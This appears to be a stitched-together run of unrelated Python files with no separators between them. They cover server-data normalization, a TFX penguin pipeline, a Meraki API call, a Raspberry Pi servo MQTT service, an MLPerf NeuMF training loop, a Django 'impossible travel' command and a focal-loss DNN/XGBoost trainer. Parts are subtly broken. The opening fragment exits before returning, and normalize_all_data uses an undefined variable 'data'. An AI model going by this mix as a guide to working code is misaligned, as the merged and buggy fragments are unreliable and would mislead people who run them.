    print(len(l))
    exit(0)
    return np.array(l)
    #return l
def normalize_data(data, min_max_arrival):
    for i in range(3, 20):
        mi = np.amin(data[:,i])
        ma = np.amax(data[:,i])
        data[:,i] = (data[:,i] - mi) / (ma - mi)
        if i == 3:
            min_max_arrival["min"].append(mi)
            min_max_arrival["max"].append(ma)
    mi = np.amin(data[:,20:])
    ma = np.amax(data[:,20:])
    data[:,20:] = (data[:,20:] - mi) / (ma - mi)
    return data
def normalize_all_data(data_l):
    mi_s = None
    ma_s = None
    for d in data_l:
        mi = np.zeros(21)
        ma = np.zeros(21)
        mi[3:20] = np.amin(d[:,3:20], axis = 0)
        ma[3:20] = np.amax(d[:,3:20], axis = 0)
        mi[20] = np.amin(data[:,20:])
        ma[20] = np.amax(data[:,20:])
        if mi_s is not None:
            mi_s = np.minimum(mi, mi_s)
        else:
            mi_s = mi
        if ma_s is not None:
            ma_s = np.maximum(ma, ma_s)
        else:
            ma_s = ma
    for d in data_l:
        d[:, 3:20] = (d[:, 3:20] - mi_s[3:20]) / (ma_s[3:20] - mi_s[3:20])
        d[:, 20:] = (d[:, 20:] - mi_s[20]) / (ma_s[20] - mi_s[20])
    #
    return data_l

if __name__ == "__main__":

    data_all = []
    server_sizes = []
    for b in range(1,10):
        f = open("./label_normalized/server-{}.json".format(b), 'r')
        data_raw = json.load(f)
        total_len = 0
        server_size = []
        for server_name in SERVER_NAMES:
            server_size.append(len(data_raw[server_name]))
            total_len += len(data_raw[server_name])
        server_sizes.append(server_size)
        data = np.zeros((total_len, 70))
        c = 0
        for server_name in SERVER_NAMES:
            for i in range(len(data_raw[server_name])):
                data[c] = generate_row(data_raw[server_name][i], server_name)
                c += 1
        data_all.append(data)
        # data = normalize_data(data, min_max_arrival)

        # np.savetxt("true_normalized-{}.csv".format(b), data, delimiter=",")
    data_all = normalize_all_data(data_all)
    for i in range(len(data_all)):
        #print(data_all[i][-1])
        #np.savetxt("true_normalized-{}.csv".format(i+1),data_all[i], delimiter=",")
        np.savetxt("true_normalized-{}-ssize.csv".format(i+1), np.array(server_sizes[i],dtype = int), delimiter = ",")


from typing import List, Optional

import tensorflow_model_analysis as tfma
from tfx import v1 as tfx
from tfx.experimental.templates.penguin.models import features

from ml_metadata.proto import metadata_store_pb2

def create_pipeline(
    pipeline_name: str,
    pipeline_root: str,
    data_path: str,
    preprocessing_fn: str,
    run_fn: str,
    train_args: tfx.proto.TrainArgs,
    eval_args: tfx.proto.EvalArgs,
    eval_accuracy_threshold: float,
    serving_model_dir: str,
    schema_path: Optional[str] = None,
    metadata_connection_config: Optional[
        metadata_store_pb2.ConnectionConfig] = None,
    beam_pipeline_args: Optional[List[str]] = None,
) -> tfx.dsl.Pipeline:
  """Implements the penguin pipeline with TFX."""

  components = []

  # Brings data into the pipeline or otherwise joins/converts training data.
  # TODO(step 2): Might use another ExampleGen class for your data.
  example_gen = tfx.components.CsvExampleGen(input_base=data_path)
  components.append(example_gen)

  # Computes statistics over data for visualization and example validation.
  statistics_gen = tfx.components.StatisticsGen(
      examples=example_gen.outputs['examples'])
  components.append(statistics_gen)

  if schema_path is None:
    # Generates schema based on statistics files.
    schema_gen = tfx.components.SchemaGen(
        statistics=statistics_gen.outputs['statistics'])
    components.append(schema_gen)
  else:
    # Import user provided schema into the pipeline.
    schema_gen = tfx.components.ImportSchemaGen(schema_file=schema_path)
    components.append(schema_gen)

    # Performs anomaly detection based on statistics and data schema.
    example_validator = tfx.components.ExampleValidator(  # pylint: disable=unused-variable
        statistics=statistics_gen.outputs['statistics'],
        schema=schema_gen.outputs['schema'])
    components.append(example_validator)

  # Performs transformations and feature engineering in training and serving.
  transform = tfx.components.Transform(  # pylint: disable=unused-variable
      examples=example_gen.outputs['examples'],
      schema=schema_gen.outputs['schema'],
      preprocessing_fn=preprocessing_fn)
  # TODO(step 3): Uncomment here to add Transform to the pipeline.
  # components.append(transform)

  # Uses user-provided Python function that implements a model using Tensorflow.
  trainer = tfx.components.Trainer(
      run_fn=run_fn,
      examples=example_gen.outputs['examples'],
      # Use outputs of Transform as training inputs if Transform is used.
      # examples=transform.outputs['transformed_examples'],
      # transform_graph=transform.outputs['transform_graph'],
      schema=schema_gen.outputs['schema'],
      train_args=train_args,
      eval_args=eval_args)
  # TODO(step 4): Uncomment here to add Trainer to the pipeline.
  # components.append(trainer)

  # Get the latest blessed model for model validation.
  model_resolver = tfx.dsl.Resolver(
      strategy_class=tfx.dsl.experimental.LatestBlessedModelStrategy,
      model=tfx.dsl.Channel(type=tfx.types.standard_artifacts.Model),
      model_blessing=tfx.dsl.Channel(
          type=tfx.types.standard_artifacts.ModelBlessing)).with_id(
              'latest_blessed_model_resolver')
  # TODO(step 5): Uncomment here to add Resolver to the pipeline.
  # components.append(model_resolver)

  # Uses TFMA to compute a evaluation statistics over features of a model and
  # perform quality validation of a candidate model (compared to a baseline).
  eval_config = tfma.EvalConfig(
      model_specs=[
          tfma.ModelSpec(
              signature_name='serving_default',
              label_key=features.LABEL_KEY,
              # Use transformed label key if Transform is used.
              # label_key=features.transformed_name(features.LABEL_KEY),
              preprocessing_function_names=['transform_features'])
      ],
      slicing_specs=[tfma.SlicingSpec()],
      metrics_specs=[
          tfma.MetricsSpec(metrics=[
              tfma.MetricConfig(
                  class_name='SparseCategoricalAccuracy',
                  threshold=tfma.MetricThreshold(
                      value_threshold=tfma.GenericValueThreshold(
                          lower_bound={'value': eval_accuracy_threshold}),
                      change_threshold=tfma.GenericChangeThreshold(
                          direction=tfma.MetricDirection.HIGHER_IS_BETTER,
                          absolute={'value': -1e-10})))
          ])
      ])
  evaluator = tfx.components.Evaluator(  # pylint: disable=unused-variable
      examples=example_gen.outputs['examples'],
      model=trainer.outputs['model'],
      baseline_model=model_resolver.outputs['model'],
      # Change threshold will be ignored if there is no baseline (first run).
      eval_config=eval_config)
  # TODO(step 5): Uncomment here to add Evaluator to the pipeline.
  # components.append(evaluator)

  # Pushes the model to a file destination if check passed.
  pusher = tfx.components.Pusher(  # pylint: disable=unused-variable
      model=trainer.outputs['model'],
      model_blessing=evaluator.outputs['blessing'],
      push_destination=tfx.proto.PushDestination(
          filesystem=tfx.proto.PushDestination.Filesystem(
              base_directory=serving_model_dir)))
  # TODO(step 5): Uncomment here to add Pusher to the pipeline.
  # components.append(pusher)

  return tfx.dsl.Pipeline(
      pipeline_name=pipeline_name,
      pipeline_root=pipeline_root,
      components=components,
      # Change this value to control caching of execution results. Default value
      # is `False`.
      # enable_cache=True,
      metadata_connection_config=metadata_connection_config,
      beam_pipeline_args=beam_pipeline_args,
  )


import requests

# Replace with your Meraki API key
MERAKI_API_KEY = "your API key goes here"

# Replace with the serial number of the Meraki device you want to retrieve the uplink settings for
DEVICE_SERIAL = "your serial goes here"

# Set the API endpoint URL
API_ENDPOINT = f"https://api.meraki.com/api/v1/devices/{DEVICE_SERIAL}/appliance/uplinks/settings"

# Set the request headers
headers = {
    "X-Cisco-Meraki-API-Key": MERAKI_API_KEY,
    "Content-Type": "application/json"
}

# Send the API request and print the response
response = requests.get(API_ENDPOINT, headers=headers)
print(response.json())


from modules.DFRobot_RaspberryPi_Expansion_Board import DFRobot_Expansion_Board_IIC as Board
from modules.DFRobot_RaspberryPi_Expansion_Board import DFRobot_Expansion_Board_Servo as Servo

import modules.mqtt_module as mqtt
import config_module as config

board = Board(1, 0x10)    # Select i2c bus 1, set address to 0x10
servo = Servo(board)

# camera parking
# 3: 70 degree
# 2: 5 degree
# camera work
# 3: 50..125
# 2: 90 degree

def print_board_status():
  if board.last_operate_status == board.STA_OK:
    print("board status: everything ok")

  elif board.last_operate_status == board.STA_ERR:
    print("board status: unexpected error")

  elif board.last_operate_status == board.STA_ERR_DEVICE_NOT_DETECTED:
    print("board status: device not detected")

  elif board.last_operate_status == board.STA_ERR_PARAMETER:
    print("board status: parameter error")

  elif board.last_operate_status == board.STA_ERR_SOFT_VERSION:
    print("board status: unsupport board framware version")

def on_message(client, userdata, message):
    channel = int(message.topic.split("/")[2])
    name = str(message.topic.split("/")[3])
    value = int(message.payload.decode("utf-8"))

    index = int(channel / 16)
    channel = channel % 16

    # print(f"Device:{index} Channel:{channel} {name}:{value}")

    # if (name == 'duty_cycle'):
    #     c = devices[index].channels[channel]
    #     # c = pca.channels[channel]
    #     c.duty_cycle = value
    if (name == 'angle'):
      servo.move(channel, value)

if __name__ == "__main__":
    print_board_status()

    board.begin()
    servo.begin()

    client = mqtt.Create(config.pwm_topic, on_message)

    print("GravityIO service ready")

    client.loop_forever()

    print("GravityIO service stopped")


import torch.jit
import os
import math
import time
import timeit
from datetime import datetime
from collections import OrderedDict
from argparse import ArgumentParser
from alias_generator import AliasSample
import pickle
from convert import generate_negatives
from convert import generate_negatives_flat
from convert import CACHE_FN

#import tqdm
import numpy as np
import torch
import torch.nn as nn

import utils
from neumf import NeuMF
from torch.nn.parallel import DistributedDataParallel as DDP
from mlperf_compliance import mlperf_log

def init_distributed(args):
    args.world_size = int(os.environ.get('OMPI_COMM_WORLD_SIZE', 1))
    args.distributed = args.world_size >= 1

    if args.distributed:
        print('distributed')
        args.rank = int(os.environ['OMPI_COMM_WORLD_RANK'])
        args.local_rank = int(os.environ['OMPI_COMM_WORLD_LOCAL_RANK'])

        '''
        Set cuda device so everything is done on the right GPU.
        THIS MUST BE DONE AS SOON AS POSSIBLE.
        '''
        torch.cuda.set_device(args.local_rank)
        torch.distributed.init_process_group(backend=args.backend, init_method=args.init, world_size=args.world_size, rank=args.rank)
    else:
        args.rank=0
        args.local_rank = 0

def parse_args():
    parser = ArgumentParser(description="Train a Nerual Collaborative"
                                        " Filtering model")
    parser.add_argument('-e', '--epochs', type=int, default=2,
                        help='number of epochs for training')
    parser.add_argument('-b', '--batch-size', type=int, default=256,
                        help='number of examples for each iteration')
    parser.add_argument('--valid-batch-size', type=int, default=2**20,
                        help='number of examples in each validation chunk')
    parser.add_argument('-f', '--factors', type=int, default=8,
                        help='number of predictive factors')
    parser.add_argument('--layers', nargs='+', type=int,
                        default=[64, 32, 16, 8],
                        help='size of hidden layers for MLP')
    parser.add_argument('-n', '--negative-samples', type=int, default=4,
                        help='number of negative examples per interaction')
    parser.add_argument('-l', '--learning-rate', type=float, default=0.001,
                        help='learning rate for optimizer')
    parser.add_argument('-k', '--topk', type=int, default=10,
                        help='rank for test examples to be considered a hit')
    parser.add_argument('--no-cuda', action='store_true',
                        help='use available GPUs')
    parser.add_argument('--seed', '-s', type=int,
                        help='manually set random seed for torch')
    parser.add_argument('--threshold', '-t', type=float,
                        help='stop training early at threshold')
    parser.add_argument('--valid-negative', type=int, default=999,
                        help='Number of negative samples for each positive test example')
    parser.add_argument('--processes', '-p', type=int, default=1,
                        help='Number of processes for evaluating model')
    parser.add_argument('--workers', '-w', type=int, default=8,
                        help='Number of workers for training DataLoader')
    parser.add_argument('--beta1', '-b1', type=float, default=0.9,
                        help='beta1 for Adam')
    parser.add_argument('--beta2', '-b2', type=float, default=0.999,
                        help='beta1 for Adam')
    parser.add_argument('--eps', type=float, default=1e-8,
                        help='eps for Adam')
    parser.add_argument('--user_scaling', default=1, type=int)
    parser.add_argument('--item_scaling', default=1, type=int)
    parser.add_argument('--cpu_dataloader', action='store_true',
                        help='pre-process data on cpu to save memory')
    parser.add_argument('--random_negatives', action='store_true',
                        help='do not check train negatives for existence in dataset')
    parser.add_argument('--backend', default='nccl', type=str,
                        help='backend for distributed processing')
    parser.add_argument('--init', default='tcp://127.0.0.1:4000', type=str,
                        help='init method for distributed')
    return parser.parse_args()

# TODO: val_epoch is not currently supported on cpu
def val_epoch(model, x, y, dup_mask, real_indices, K, samples_per_user, num_user, output=None,
              epoch=None, loss=None):

    start = datetime.now()
    log_2 = math.log(2)

    model.eval()
    hits = torch.tensor(0., device='cuda')
    ndcg = torch.tensor(0., device='cuda')

    with torch.no_grad():
        for i, (u,n) in enumerate(zip(x,y)):
            res = model(u.cuda().view(-1), n.cuda().view(-1), sigmoid=True).detach().view(-1,samples_per_user)
            # set duplicate results for the same item to -1 before topk
            res[dup_mask[i]] = -1
            out = torch.topk(res,K)[1]
            # topk in pytorch is stable(if not sort)
            # key(item):value(predicetion) pairs are ordered as original key(item) order
            # so we need the first position of real item(stored in real_indices) to check if it is in topk
            ifzero = (out == real_indices[i].cuda().view(-1,1))
            hits += ifzero.sum()
            ndcg += (log_2 / (torch.nonzero(ifzero)[:,1].view(-1).to(torch.float)+2).log_()).sum()

    mlperf_log.ncf_print(key=mlperf_log.EVAL_SIZE, value={"epoch": epoch, "value": num_user * samples_per_user})
    mlperf_log.ncf_print(key=mlperf_log.EVAL_HP_NUM_USERS, value=num_user)
    mlperf_log.ncf_print(key=mlperf_log.EVAL_HP_NUM_NEG, value=samples_per_user - 1)

    end = datetime.now()

    hits = hits.item()
    ndcg = ndcg.item()

    if output is not None:
        result = OrderedDict()
        result['timestamp'] = datetime.now()
        result['duration'] = end - start
        result['epoch'] = epoch
        result['K'] = K
        result['hit_rate'] = hits/num_user
        result['NDCG'] = ndcg/num_user
        result['loss'] = loss
        utils.save_result(result, output)

    return hits/num_user, ndcg/num_user

def main():
    args = parse_args()
    init_distributed(args)
    args.seed = args.rank
    if args.seed is not None:
        print("Using seed = {}".format(args.seed))
        torch.manual_seed(args.seed)
        np.random.seed(seed=args.seed)

    # Save configuration to file
    config = {k: v for k, v in args.__dict__.items()}
    config['timestamp'] = "{:.0f}".format(datetime.utcnow().timestamp())
    config['local_timestamp'] = str(datetime.now())
    run_dir = "./run/neumf/{}".format(config['timestamp'])

    # Check that GPUs are actually available
    use_cuda = not args.no_cuda and torch.cuda.is_available()
    # Check where to put data loader
    if use_cuda:
        dataloader_device = 'cpu' if args.cpu_dataloader else 'cuda'
    else:
        dataloader_device = 'cpu'

    # more like load trigger timmer now
    mlperf_log.ncf_print(key=mlperf_log.PREPROC_HP_NUM_EVAL, value=args.valid_negative)
    # The default of np.random.choice is replace=True, so does pytorch random_()
    mlperf_log.ncf_print(key=mlperf_log.PREPROC_HP_SAMPLE_EVAL_REPLACEMENT, value=True)
    mlperf_log.ncf_print(key=mlperf_log.INPUT_HP_SAMPLE_TRAIN_REPLACEMENT, value=True)
    mlperf_log.ncf_print(key=mlperf_log.INPUT_STEP_EVAL_NEG_GEN)

    # sync worker before timing.
    torch.cuda.synchronize()

    #===========================================================================
    #== The clock starts on loading the preprocessed data. =====================
    #===========================================================================
    mlperf_log.ncf_print(key=mlperf_log.RUN_START)
    run_start_time = time.time()
    nb_users=498975
    nb_items=427888
    # Create model
    model = NeuMF(nb_users, nb_items,
                  mf_dim=args.factors, mf_reg=0.,
                  mlp_layer_sizes=args.layers,
                  mlp_layer_regs=[0. for i in args.layers])
    print(model)
    print("{} parameters".format(utils.count_parameters(model)))

    # Save model text description
    #with open(os.path.join(run_dir, 'model.txt'), 'w') as file:
    #    file.write(str(model))

    # Add optimizer and loss to graph
    params = model.parameters()

    optimizer = torch.optim.Adam(params, lr=args.learning_rate, betas=(args.beta1, args.beta2), eps=args.eps)
    criterion = nn.BCEWithLogitsLoss(reduction = 'none') # use torch.mean() with dim later to avoid copy to host
    mlperf_log.ncf_print(key=mlperf_log.OPT_LR, value=args.learning_rate)
    mlperf_log.ncf_print(key=mlperf_log.OPT_NAME, value="Adam")
    mlperf_log.ncf_print(key=mlperf_log.OPT_HP_ADAM_BETA1, value=args.beta1)
    mlperf_log.ncf_print(key=mlperf_log.OPT_HP_ADAM_BETA2, value=args.beta2)
    mlperf_log.ncf_print(key=mlperf_log.OPT_HP_ADAM_EPSILON, value=args.eps)
    mlperf_log.ncf_print(key=mlperf_log.MODEL_HP_LOSS_FN, value=mlperf_log.BCE)

    if use_cuda:
        # Move model and loss to GPU
        model = model.cuda()
        criterion = criterion.cuda()
    if args.distributed:
        model=DDP(model)
    local_batch = args.batch_size
    traced_criterion = torch.jit.trace(criterion.forward, (torch.rand(local_batch,1),torch.rand(local_batch,1)))
    success = False
    mlperf_log.ncf_print(key=mlperf_log.TRAIN_LOOP)
    for epoch in range(args.epochs):

        mlperf_log.ncf_print(key=mlperf_log.TRAIN_EPOCH, value=epoch)
        mlperf_log.ncf_print(key=mlperf_log.INPUT_HP_NUM_NEG, value=args.negative_samples)
        mlperf_log.ncf_print(key=mlperf_log.INPUT_STEP_TRAIN_NEG_GEN)
        begin = time.time()

        st = timeit.default_timer()
        epoch_users = torch.load("./dataset/epoch_users.pt")
        epoch_items = torch.load("./dataset/epoch_items.pt")
        epoch_label = torch.load("./dataset/epoch_label.pt")
        epoch_users_list = epoch_users.split(local_batch)
        epoch_items_list = epoch_items.split(local_batch)
        epoch_label_list = epoch_label.split(local_batch)
        num_batches=200
        start_train = time.time()
        print("number batches: ", num_batches)
        for i in range(num_batches):
            # selecting input from prepared data
            user = epoch_users_list[i%5].cuda()
            item = epoch_items_list[i%5].cuda()
            label = epoch_label_list[i%5].view(-1,1).cuda()

            for p in model.parameters():
                p.grad = None

            outputs = model(user, item)
            loss = traced_criterion(outputs, label).float()
            loss = torch.mean(loss.view(-1), 0)

            loss.backward()
            optimizer.step()
            if i%10==0:
                print("["+str(i)+"/"+str(num_batches)+"]loss: ", float(loss))
            if (i+1)/200==1:
                break

        del epoch_users, epoch_items, epoch_label, epoch_users_list, epoch_items_list, epoch_label_list, user, item, label
        train_time = time.time() - begin
        print("train time:", time.time()-start_train)

    run_stop_time = time.time()
    mlperf_log.ncf_print(key=mlperf_log.RUN_FINAL)

    # easy way of tracking mlperf score
    if success:
        print("mlperf_score", run_stop_time - run_start_time)

if __name__ == '__main__':
    main()


from datetime import timedelta

from django.conf import settings
from django.core.management.base import BaseCommand
from django.utils import timezone
from impossible_travel.tasks import process_logs, update_risk_level

class Command(BaseCommand):
    help = "Impossible Travel tasks call"

    def handle(self, *args, **options):
        interval = 30
        start_date = timezone.datetime(2023, 2, 22, 15, 0, 0)
        end_date = timezone.datetime(2023, 2, 22, 23, 59, 59)
        current_date = start_date
        while current_date < end_date:
            new_date = current_date + timedelta(minutes=interval)
            process_logs()
            current_date = new_date
            update_risk_level()


import pandas as pd
import tensorflow as tf
from tensorflow import keras
import tensorflow.keras.backend as K
from tensorflow.keras.layers import Dense, BatchNormalization, LeakyReLU
from tensorflow.keras.initializers import glorot_uniform
from xgboost import XGBClassifier
import numpy as np
import GetBowFeatures
import GetCBOWFeatures

def focal_loss(gamma=2., alpha=.25):
    '''
    define the focal loss function
    :param gamma:
    :param alpha:
    :return: folcal loss
    '''
    def focal_loss_fixed(y_true, y_pred):
        pt_1 = tf.where(tf.equal(y_true, 1), y_pred, tf.ones_like(y_pred))
        pt_0 = tf.where(tf.equal(y_true, 0), y_pred, tf.zeros_like(y_pred))
        return -K.mean(alpha * K.pow(1. - pt_1, gamma) * K.log(pt_1)) - K.mean((1 - alpha) * K.pow(pt_0, gamma) * K.log(1. - pt_0))
    return focal_loss_fixed

def create_dl_model():
    '''
    create the deep-learning model
    :return: dl model
    '''
    model = keras.models.Sequential()
    model.add(Dense(units=505, input_dim=1011, kernel_initializer=glorot_uniform(111)))
    model.add(LeakyReLU())
    model.add(BatchNormalization())
    model.add(Dense(units=250, kernel_initializer=glorot_uniform(222)))
    model.add(LeakyReLU())
    model.add(BatchNormalization())
    model.add(Dense(units=125, kernel_initializer=glorot_uniform(222)))
    model.add(LeakyReLU())
    model.add(Dense(units=1, activation="sigmoid", kernel_initializer=glorot_uniform(333)))
    model.compile(loss=focal_loss(),
                  optimizer='adam',
                  metrics=['accuracy'])
    return model

def train_model():
    x, y = load_data()
    model = create_dl_model()
    model.fit(x, y, epochs=20, batch_size=32, verbose=0, callbacks=keras.callbacks.EarlyStopping(monitor='loss', patience=3))
    layermodel_1 = keras.models.Model(inputs=model.input, outputs=model.layers[2].output)
    x = layermodel_1.predict(x)
    xgb = XGBClassifier(n_estimators=110, learning_rate=0.12)
    xgb.fit(x, y.ravel())
    layermodel_1.save("../files/DNN.h5")
    xgb.save_model("../files/xgboost.model")

def load_data():
    '''
    load datasets
    :return: datasets
    '''
    cbow_features = GetCBOWFeatures.merge_features()
    bow_features = GetBowFeatures.main()
    features = np.c_[cbow_features, bow_features]
    labels = pd.read_excel("../files/all_data.xlsx")["label"]
    return features, labels

if __name__ == "__main__":
    train_model()